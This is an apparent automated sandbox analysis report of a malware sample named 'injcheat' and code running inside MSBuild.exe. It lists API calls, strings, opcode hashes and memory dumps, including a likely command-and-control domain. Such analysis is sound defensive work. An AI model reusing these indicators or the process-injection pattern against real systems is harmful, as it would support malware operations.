LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0081B0B3,00000000,?,00895AFC,?,?,?,0081B256,00000004,InitializeCriticalSectionEx,00833BD8,InitializeCriticalSectionEx), ref: 0081B10F
GetLastError.KERNEL32(?,0081B0B3,00000000,?,00895AFC,?,?,?,0081B256,00000004,InitializeCriticalSectionEx,00833BD8,InitializeCriticalSectionEx,00000000,?,0081B00D), ref: 0081B119
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0081B141

Strings

api-ms-, xrefs: 0081B126

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 7d0c92be3b32ab947ea6d52c7aa6e54c729a6f4bba6e12ea87f12797adf2b138
Instruction ID: aebdb2883fea726071d8a8761134c8be245d81b2ca2f7f28162f9a97ad7870b0
Opcode Fuzzy Hash: 7d0c92be3b32ab947ea6d52c7aa6e54c729a6f4bba6e12ea87f12797adf2b138
Instruction Fuzzy Hash: ADE0BF30680604FBFF102B61EC16F993E5AFF50BA5F154420F90CE84E1D765D994D585

Function 008274A5 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D26763E0,00000000,00000000,00000000), ref: 00827508

Part of subcall function 00829288: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00828D31,?,00000000,-00000008), ref: 00829334

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00827763
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008277AB
GetLastError.KERNEL32 ref: 0082784E

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 131ef15f57312738557668d88b130eb8a599a3cefd6368901ed7c514cd1cdeb6
Instruction ID: b6c3e8fa13206d9dbb5d00cab1047f2e080d97e1d9d5f36baf7dfce2a1600c3c
Opcode Fuzzy Hash: 131ef15f57312738557668d88b130eb8a599a3cefd6368901ed7c514cd1cdeb6
Instruction Fuzzy Hash: 38D1ACB5E042689FCF15CFA9E8849EDBBB5FF48314F28452AE815E7351D730A882CB54

Function 0081A0D1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0081A198
___AdjustPointer.LIBCMT ref: 0081A1BB
___AdjustPointer.LIBCMT ref: 0081A257

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9a427624254d9242fe8239661b1a50ff92c2bb09187e4a97049dadb50271beab
Instruction ID: f05231d9e17b4869133ea94cb8a36963d3f6a9f8e007525a217b25a25df9802a
Opcode Fuzzy Hash: 9a427624254d9242fe8239661b1a50ff92c2bb09187e4a97049dadb50271beab
Instruction Fuzzy Hash: D2519B76602206AFDB2D9F18D981BFA77ACFF44310F14452EE816C6691E732A8C0C792

Function 0083044F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0082F471,00000000,00000001,00000000,00000000,?,008278A2,00000000,00000000,00000000), ref: 00830466
GetLastError.KERNEL32(?,0082F471,00000000,00000001,00000000,00000000,?,008278A2,00000000,00000000,00000000,00000000,00000000,?,00827E29,00000000), ref: 00830472

Part of subcall function 00830438: CloseHandle.KERNEL32(FFFFFFFE,00830482,?,0082F471,00000000,00000001,00000000,00000000,?,008278A2,00000000,00000000,00000000,00000000,00000000), ref: 00830448

___initconout.LIBCMT ref: 00830482

Part of subcall function 008303FA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00830429,0082F45E,00000000,?,008278A2,00000000,00000000,00000000,00000000), ref: 0083040D

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0082F471,00000000,00000001,00000000,00000000,?,008278A2,00000000,00000000,00000000,00000000), ref: 00830497

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a28996e0f1ac9e8f0b7eb9a52a6dbeca24cc2feaf2849f19a38bd2e550293830
Instruction ID: f95957225ced55243c7ab413ac6130baa8cb3a3a5444add2a8c4508a221815fd
Opcode Fuzzy Hash: a28996e0f1ac9e8f0b7eb9a52a6dbeca24cc2feaf2849f19a38bd2e550293830
Instruction Fuzzy Hash: 24F01C36400568BBCF226FE5EC149897F26FB893A5F004455FA1A95130C6328920EBD1

Function 00819DC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00819DFF
__IsNonwritableInCurrentImage.LIBCMT ref: 00819EB3

Strings

csm, xrefs: 00819E9D

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 739841a5fd08228d2cae9112fefaf5269fa847227e0926029aaaaf8292b08fc0
Instruction ID: 85c8d0e0fbed1ebe10c6d0e7dc5fba9aebbf0dfaa0db72ddcb3fa8b6cfd5bcef
Opcode Fuzzy Hash: 739841a5fd08228d2cae9112fefaf5269fa847227e0926029aaaaf8292b08fc0
Instruction Fuzzy Hash: 2C41B274A00208ABCF10DF68C895ADEBBA9FF85328F148055E854EB352D775EE91CB91

Function 0081A6CD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0081A6F2

Strings

RCC, xrefs: 0081A70C
MOC, xrefs: 0081A704

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4537045466abd87e557d9f5f06d21fd1a38e9460365897a858403f6bd7f3a4a1
Instruction ID: 1449b08052c77bef5ee9690879082882847e8cd934f1feddc6847ffbb67edb24
Opcode Fuzzy Hash: 4537045466abd87e557d9f5f06d21fd1a38e9460365897a858403f6bd7f3a4a1
Instruction Fuzzy Hash: 56419A71901209EFCF1ACF98CC81AEEBBB9FF48304F148459F954A7291D3359A90CB52

Function 008115DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008115E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0081161E

Part of subcall function 00814ECB: _Yarn.LIBCPMT ref: 00814EEA
Part of subcall function 00814ECB: _Yarn.LIBCPMT ref: 00814F0E

Strings

bad locale name, xrefs: 0081162C

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 365a397c8395ef78fd3b095aa1503f678890a3303f6ef9e5da6b7cb3ed8b45d7
Instruction ID: 3d8bcf80b6ea4390d0dd0d73bc26b29c35bee461c32ddc186fc5e5418f729b3b
Opcode Fuzzy Hash: 365a397c8395ef78fd3b095aa1503f678890a3303f6ef9e5da6b7cb3ed8b45d7
Instruction Fuzzy Hash: C3F01D71505B509E83309F7A9481447FBE8FE283107549E2EE1DEC3A11D730E444CBAA

Function 0082A30C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 0082A30C
GetCommandLineW.KERNEL32 ref: 0082A317

Strings

`', xrefs: 0082A312

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: CommandLine
String ID: `'
API String ID: 3253501508-382139660
Opcode ID: 6a59b89a5eb433f911dcd661db2a0a83fdff21ae08ca1bd3026763fe7403beb5
Instruction ID: f72942fdd18fb305ad72db01aafd66c1e128ddce645435211f42d3a4666261db
Opcode Fuzzy Hash: 6a59b89a5eb433f911dcd661db2a0a83fdff21ae08ca1bd3026763fe7403beb5
Instruction Fuzzy Hash: F2B002B88003018FC740AF75B99D5487BA0F6996123D49D5BD915C2720E6356055EF10

Analysis Process: MSBuild.exePID: 7572, Parent PID: 7516COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	62
Total number of Limit Nodes:	9

Executed Functions

Function 0043F620 Relevance: 21.5, APIs: 10, Strings: 2, Instructions: 452
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0043F67C
SysAllocString.OLEAUT32 ref: 0043F73C
VariantInit.OLEAUT32(00000000), ref: 0043F7BB
SysStringLen.OLEAUT32(?), ref: 0043F86B

Strings

hi, xrefs: 0043F6E6
dg, xrefs: 0043F7F5

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Alloc$InitVariant
String ID: dg$hi
API String ID: 3520221836-2859417413
Opcode ID: a29f64484bac79c51184cc7e0d437789df3d7f91ec00fbc448bf7e6117096322
Instruction ID: 76cd35575ce81f92284fb50bd1b390108f3350da4718470232658bad10f85c67
Opcode Fuzzy Hash: a29f64484bac79c51184cc7e0d437789df3d7f91ec00fbc448bf7e6117096322
Instruction Fuzzy Hash: E9F18776608301EFE704CF24D881B2ABBF5FB8A355F14992EF485872A1C738D845CB1A

Function 0040D110 Relevance: 6.2, APIs: 4, Instructions: 154
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D121
GetCurrentThreadId.KERNEL32 ref: 0040D136
GetCurrentProcessId.KERNEL32 ref: 0040D13C
ExitProcess.KERNEL32 ref: 0040D2F0

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID:
API String ID: 1029096631-0
Opcode ID: 08eb499608fb6ca27a79879cc2e31d82174a6a7722ca31d8a5ded37d06d49044
Instruction ID: f02d3b79713e8d81e15a0fda541fde84aa13a8de9f5ea14ec3edbee07005130c
Opcode Fuzzy Hash: 08eb499608fb6ca27a79879cc2e31d82174a6a7722ca31d8a5ded37d06d49044
Instruction Fuzzy Hash: BD41697480D340ABC301BFA5D644A1EFBF1AF56709F048C6DE5C4A7292C339D8189B6B

Function 0043F420 Relevance: 1.6, APIs: 1, Instructions: 74
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044CCE0,00000000,00000001,0044CCD0,00000000), ref: 0043F539

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: a7e3e0413912112d246c505f3554be2b76a53fa2aed4f0f934377768ef79ba78
Instruction ID: cad02f87624d57c1cdc40f211277d8db0221b3b0836e1f39e7a2fcd58f906e49
Opcode Fuzzy Hash: a7e3e0413912112d246c505f3554be2b76a53fa2aed4f0f934377768ef79ba78
Instruction Fuzzy Hash: 4B2128B0118780AFE360CF25D885B1BBAF8FB8A705F54491DF6E48A2A1C775D4098F66

Function 004400D0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ec0c076dbd017b2889426329dc115abdd5396e4977fbe50d64591faca7a9f1
Instruction ID: 323a9e3b4d20264604ad69a68f3ef8c0e49c68e956c0c64c4dc5eed4853174bd
Opcode Fuzzy Hash: 38ec0c076dbd017b2889426329dc115abdd5396e4977fbe50d64591faca7a9f1
Instruction Fuzzy Hash: 8F210B3250C3104FE7295E2998D022FB7E2DBC5314F1A853FEAA64B381D93E9D51939A

Function 00412F94 Relevance: 20.1, APIs: 2, Strings: 9, Instructions: 859
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0041338D
CoUninitialize.OLE32 ref: 00413757

Strings

7DA4CB3155325F41DFCA8E9859EB390B, xrefs: 00412F94
AR]J, xrefs: 0041303F
IK, xrefs: 00413178
jXl>, xrefs: 00413847
frizzettei.sbs, xrefs: 0041334C, 00413B12
[Pcl, xrefs: 00413839
HLB6, xrefs: 00413855
jxEJ, xrefs: 0041302B
YTfT, xrefs: 00413832

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: DirectorySystemUninitialize
String ID: 7DA4CB3155325F41DFCA8E9859EB390B$AR]J$HLB6$YTfT$[Pcl$frizzettei.sbs$jXl>$jxEJ$IK
API String ID: 1148197201-4276198423
Opcode ID: 793e2206155dee2c8d64786d4cb874d5cd942b2222fe80dd56f904ce3a752e2b
Instruction ID: 1a99fb5905588dc379b0a1440851df14c4505a7683fddce864a09a7df1459810
Opcode Fuzzy Hash: 793e2206155dee2c8d64786d4cb874d5cd942b2222fe80dd56f904ce3a752e2b
Instruction Fuzzy Hash: 1562BAB0500B408BD3229F31D8907E7BBE5EF1A309F44496EE4EB4B252D739B558CB69

Function 00445DCE Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00445DCE
GetForegroundWindow.USER32 ref: 00445DE0

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8c61841407d1a4852bfe4b40972173754e0679736d2baf3d56bf65322f3b4ff0
Instruction ID: 1e21c31d78f88c29f1ba1c45ad2c8465459836b227478d43c99d9611323569fd
Opcode Fuzzy Hash: 8c61841407d1a4852bfe4b40972173754e0679736d2baf3d56bf65322f3b4ff0
Instruction Fuzzy Hash: 11D05EE9A023405BEA08AB22FC0E4173615A78626E7040438E80B82312E535E924C64A

Function 00443220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004432A6

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 50965382f7edf395daec22a3aa5bcca61c8fe5508095e75f982d05b7b9ec31b6
Instruction ID: 4bd1cfedf901e7341f085caf0d3c231c399316e56ace865125bd700590354386
Opcode Fuzzy Hash: 50965382f7edf395daec22a3aa5bcca61c8fe5508095e75f982d05b7b9ec31b6
Instruction Fuzzy Hash: 4B016D3450D3409BD701EF18E845A1ABBE8EF4AB02F054D6CE5C58B362D339DD60CB96

Function 0043F54B Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0043F5CC

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: df4ca342573cb0773ed0b4cdb48f2f62b6bccb5de52e28bea6cefa216972c723
Instruction ID: a5d125393194df8c58451964616b5ec9f7b35e85fcdd4b5bcc2a37469f9b676c
Opcode Fuzzy Hash: df4ca342573cb0773ed0b4cdb48f2f62b6bccb5de52e28bea6cefa216972c723
Instruction Fuzzy Hash: 67013274008340ABE340DF14D484A1FBFF5AB86355F84981DF5C98B262D739D844CB56

Function 00445BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0044973D,005C003F,00000006,?,?,00000018,8C8D8A8B,?,?), ref: 00445BDE

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0043F5FC Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043F60E

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d1a4e97d1e483744f86715ec377607648d3115d5a7be471bf568486894f32836
Instruction ID: edccb986e9c107e0d1307fb25ee4a82716e2b96217dc24a1b85fe1fa1b43fe34
Opcode Fuzzy Hash: d1a4e97d1e483744f86715ec377607648d3115d5a7be471bf568486894f32836
Instruction Fuzzy Hash: 48D001347E4300BAF2320B14EC5BF082624B743F02F600425B781BC0E18AE2AA20AA0A

Function 00412F6F Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00412F81

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 7c2df3500eeb56551dcc952776d351a814cc1e2445ac7db9481c50070c109bac
Instruction ID: 76f42c36266f93e4ae202610683acb643f6c9172f5a9b97e76a18834848e9ada
Opcode Fuzzy Hash: 7c2df3500eeb56551dcc952776d351a814cc1e2445ac7db9481c50070c109bac
Instruction Fuzzy Hash: B8D092383C8300B6F9300B18BC17F043514A303F22F700320F328BC0E089E03100861D

Function 00443202 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00443208

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f4e883208b5af43432b1f7820fa52118579d54aaadfbe7b6ea97085ba09a0524
Instruction ID: d989c2ef34d315249fff67303ad5b66d5fc7957262475763486a37997b8dd8e1
Opcode Fuzzy Hash: f4e883208b5af43432b1f7820fa52118579d54aaadfbe7b6ea97085ba09a0524
Instruction Fuzzy Hash: CCB012304401005FDA141B00EC0AF003510EF00606F800070A100040B2D1619864C559

Function 00412F10 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00412F5F

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 33a14456f35e152bf9e5c001c1d7df45cc412803a33c529ef7b40827ed9b1f71
Instruction ID: 50822f4571a41e3a64219f4e3dfc663a775ae15c86e72b1d15465aac68fa1300
Opcode Fuzzy Hash: 33a14456f35e152bf9e5c001c1d7df45cc412803a33c529ef7b40827ed9b1f71
Instruction Fuzzy Hash: DDF0FEB5D107006BD7607B3D9E0B6177DB8A706660F400729E8E59A6C4F621A82D8BD7

Non-executed Functions

Function 00429510 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 426COMMON

Download Yara Rule

Strings

!E4G, xrefs: 00429836
B?Q9, xrefs: 00429B0B
8;, xrefs: 00429B13
B7U1, xrefs: 00429AFB
?M0K, xrefs: 00429968
G'M!, xrefs: 00429ADB
z=Q?, xrefs: 00429826
L3Y=, xrefs: 00429B03
pq, xrefs: 004299E0
,A&C, xrefs: 0042982E
;IJK, xrefs: 0042983E
T#a-, xrefs: 00429AE3
G+X5, xrefs: 00429AF3
X/R), xrefs: 00429AEB
2A"_, xrefs: 00429980
O+f), xrefs: 00429634, 0042963D

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: !E4G$,A&C$2A"_$8;$;IJK$?M0K$B7U1$B?Q9$G'M!$G+X5$L3Y=$O+f)$T#a-$X/R)$pq$z=Q?
API String ID: 0-655414846
Opcode ID: 821277b00644bb46f69b775215d578a60cf2f50154e1c4f07745e3abcf78f76a
Instruction ID: 614779ad590eebcf7b8fe37e51d599c86efeb38568f1612107a067b093dacd9a
Opcode Fuzzy Hash: 821277b00644bb46f69b775215d578a60cf2f50154e1c4f07745e3abcf78f76a
